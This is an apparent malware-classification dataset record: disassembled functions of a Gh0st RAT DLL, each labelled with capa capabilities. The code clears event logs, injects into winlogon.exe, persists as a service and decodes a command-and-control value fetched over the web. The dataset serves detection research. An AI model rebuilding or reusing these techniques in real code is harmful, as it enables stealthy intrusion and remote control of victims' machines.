joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001f50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebx, esi
mov ebp, ecx
mov dword [esp + 0x14], 0
jb 0x10001fba
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10001f99
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x10001f76
cmp dword [esp + 0x1c], 0xf
je 0x10001ff0
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x10001f6e
test ebx, ebx
jle 0x10001fe4
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10001fdb
inc esi
cmp esi, 0xf
jl 0x10001fc0
cmp esi, 0xf
je 0x10001ff0
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x10001ff3
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x10002090
Capabilities:
Delete file

Disassembly:
sub esp, 0x504
mov ecx, 0x41
xor eax, eax
push ebx
push esi
push edi
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x514]
lea ecx, [esp + 0x110]
push eax
push str.SYSTEMCurrentControlSetServices_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0xc]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x14]
push 0
push eax
push 1
lea ecx, [esp + 0x124]
push str.InstallModule
push ecx
push closesocket
call fcn.100031e0
push 3
push 0
push 0
push 1
lea edx, [esp + 0x140]
push str.InstallModule
push edx
push closesocket
call fcn.10003050
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x3c
xor esi, esi
push 0xbb8
call edi
lea eax, [esp + 0xc]
push eax
call ebx
test eax, eax
jne 0x1000213a
inc esi
cmp esi, 0x19
jl 0x10002122
pop edi
pop esi
pop ebx
add esp, 0x504
ret
Function at 0x100021b0
Capabilities:
Delete registry key
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000b260
push 0x1000a160
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x530
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x540], edi
mov dword [ebp - 0x13c], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x13c], ebx
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x540], esi
cmp ebx, edi
jne 0x1000221c
cmp esi, edi
je 0x10002297
lea ecx, [ebp - 0x138]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x10002297
cmp dword [ebp - 0x134], 1
je 0x10002256
lea edx, [ebp - 0x138]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10002297
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x53c]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push eax
push str.SYSTEMCurrentControlSetServices_s
lea ecx, [ebp - 0x53c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x53c]
push edx
push closesocket
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov dword [ebp - 4], 0xffffffff
call fcn.100022c0
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100022e0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push closesocket
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10002334
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.10002150
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1000239f
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret
Function at 0x100023b0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000a370
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
push ebx
push esi
push edi
lea eax, [ebp - 0x218]
mov dword [ebp - 0x10], esp
push 0x1f4
push str.SYSTEMCurrentControlSetServices_
push eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x218]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x218]
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x10002459
lea edx, [ebp - 0x20]
push 0x1000c100
push edx
mov dword [ebp - 0x20], 0x1000eb44
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push 4
push eax
push 4
push 0
push str.Type
push ecx
mov dword [ebp - 0x18], 0x120
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x100024b3
lea edx, [ebp - 0x1c]
push 0x1000c100
push edx
mov dword [ebp - 0x1c], str.RegSetValueEx_start_
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x100024ad
cmp byte [eax], 0
je 0x100024ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x100024b3
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100024d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000a380
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x210
push ebx
push esi
push edi
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x10], esp
push 0x1f4
xor ebx, ebx
push str.SYSTEMCurrentControlSetServices_
push eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x21c]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x21c]
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp eax, ebx
je 0x10002576
lea edx, [ebp - 0x24]
push 0x1000c100
push edx
mov dword [ebp - 0x24], 0x1000eb44
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x28]
push ecx
push edx
push ebx
push str.Type
push eax
mov dword [ebp - 0x1c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov esi, eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, ebx
je 0x100025cb
lea edx, [ebp - 0x20]
push 0x1000c100
push edx
mov dword [ebp - 0x20], str.RegQueryValueEx_Type_
call sub.MSVCRT.dll__CxxThrowException
mov eax, 0x100025cb
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100026b0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x100026d2
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.10004530
add esp, 8
test al, al
jne 0x100026e6
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x10002740
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x168]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10002835
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002835
lea ecx, [esp + 0xc]
lea edx, [esp + 0x64]
push ecx
push edx
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10002835
lea eax, [esp + 0x64]
push 0x1000d10c
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10002835
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x20], 0x44
test eax, eax
je 0x1000280f
mov dword [esp + 0x28], str.WinSta0Default
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x160
ret

Function at 0x10002840
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10002890
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10002877
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x10002920
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10002941
xor al, al
add esp, 0x1c
ret
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x10002968
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x100029b5
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add esp, 0x1c
ret
Function at 0x10002a80
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xf8
push ebx
push ebp
push esi
push edi
call fcn.10002920
mov eax, dword [esp + 0x10c]
push eax
call fcn.100042f0
add esp, 4
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [esp + 0x10], eax
jne 0x10002ac2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
push str.advapi32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenSCManagerA
push edi
call esi
push str.OpenServiceA
push edi
mov dword [esp + 0x1c], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [esp + 0x20], eax
call esi
push str.ControlService
push edi
mov dword [esp + 0x24], eax
call esi
push str.StartServiceA
push edi
mov dword [esp + 0x28], eax
call esi
push str.DeleteService
push edi
mov dword [esp + 0x2c], eax
call esi
push str.CloseServiceHandle
push edi
mov dword [esp + 0x30], eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
mov dword [esp + 0x30], eax
call ebp
push str.shlwapi.dll
call ebx
mov edi, eax
push str.SHDeleteKeyA
push edi
call esi
push edi
mov dword [esp + 0x34], eax
call ebp
push str.kernel32.dll
call ebx
mov edi, eax
push str.Sleep
push edi
call esi
push str.CloseHandle
push edi
mov dword [esp + 0x40], eax
call esi
push edi
mov dword [esp + 0x38], eax
call ebp
mov ecx, dword [esp + 0x110]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x40]
push ecx
push edx
call esi
lea eax, [esp + 0xa4]
push str.SYSTEMCurrentControlSetServices_
push eax
call esi
lea ecx, [esp + 0x40]
lea edx, [esp + 0xa4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
push 0x1000
push 0xf4
push 0
mov esi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push esi
call ebx
mov edi, eax
test edi, edi
jne 0x10002be2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [esp + 0x18]
push 0xf4
push eax
push edi
push esi
call ebp
test eax, eax
jne 0x10002c09
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0x40
push 0x1000
push 0x2800
push 0
push esi
call ebx
mov ebx, eax
test ebx, ebx
jne 0x10002c2d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0x2800
push 0x100029d0
push ebx
push esi
call ebp
test eax, eax
jne 0x10002c4e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0
push edi
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0xf8
ret
Function at 0x10002e90
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
sub esp, 0x30c
lea eax, [esp]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push esi
push edi
push 0x104
mov edi, ecx
push eax
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x10]
push 0x1000d270
push ecx
call esi
lea ebx, [edi + 0x10]
lea edx, [esp + 0x10]
push ebx
push edx
call esi
lea eax, [esp + 0x10]
push str.ex.dll
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0x118]
push str._d.bak
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x114]
lea eax, [esp + 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea ecx, [esp + 0x118]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edx, [esp + 0x218]
push 0x104
push edx
call ebp
lea eax, [esp + 0x218]
push str._syslog.dat
push eax
call esi
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [edi + 0x9e54]
push ebx
cmp eax, 0x120
je 0x10002f62
push str.winlogon.exe
call fcn.10002a80
add esp, 8
jmp 0x10002f6a
call fcn.100021b0
add esp, 4
add edi, 0x110
push edi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30c
ret
Function at 0x10003050
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000b280
push 0x1000a160
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x10003087
jmp dword [eax*4 + 0x100031d0]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x10003087
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10003087
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x10003087
cmp edx, 2
jbe 0x10003110
cmp edx, 4
jne case.default.0x10003087
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x10003087
jmp 0x10003194
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x10003087
jmp 0x10003194
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10003087
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x10003087
jmp 0x10003194
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10003087
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x10003087
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.100031bb
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100037e0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.10003680
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x10003828
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x10003802
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret

Function at 0x10003950
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0xc10
push esi
mov esi, dword [esp + 0xc18]
test esi, esi
push edi
jne 0x1000396e
pop edi
xor al, al
pop esi
add esp, 0xc10
ret
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str.http:__
push esi
mov dword [esp + 0x18], 0
mov byte [esp + 0x13], 0
call edi
add esp, 8
test eax, eax
jne 0x100039e3
push str.https:__
push esi
call edi
add esp, 8
test eax, eax
jne 0x100039e3
mov eax, dword [esp + 0xc34]
mov ecx, dword [esp + 0xc30]
mov edx, dword [esp + 0xc2c]
push eax
mov eax, dword [esp + 0xc2c]
push ecx
mov ecx, dword [esp + 0xc2c]
push edx
mov edx, dword [esp + 0xc2c]
push eax
push ecx
push edx
push esi
call fcn.10003830
add esp, 0x1c
mov al, 1
pop edi
pop esi
add esp, 0xc10
ret
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x10003a09
pop edi
xor al, al
pop esi
add esp, 0xc10
ret
push 0
push 0x80000100
push 0
push 0
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edx, eax
test edx, edx
mov dword [esp + 0xc], edx
jne 0x10003a31
pop edi
xor al, al
pop esi
add esp, 0xc10
ret
push ebx
mov ebx, dword [esp + 0xc34]
push ebp
mov ebp, dword [esp + 0xc3c]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x420]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
lea ecx, [esp + 0x420]
push eax
push 0x800
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x420]
push str.AAAA
push edx
call edi
mov esi, eax
add esp, 8
test esi, esi
je 0x10003af9
add esi, 4
push str.AAAA
push esi
call edi
mov edx, eax
add esp, 8
test edx, edx
je 0x10003af9
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov ecx, edx
lea edi, [esp + 0x20]
sub ecx, esi
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
push ecx
call fcn.100037e0
mov edx, dword [esp + 0xc38]
mov ecx, dword [esp + 0xc34]
push ebp
push ebx
push edx
mov edx, dword [esp + 0xc3c]
push ecx
mov ecx, dword [esp + 0xc3c]
push edx
push ecx
push eax
call fcn.10003830
add esp, 0x20
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
test eax, eax
ja 0x10003a41
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call esi
mov eax, dword [esp + 0x1c]
push eax
call esi
mov al, byte [esp + 0x13]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0xc10
ret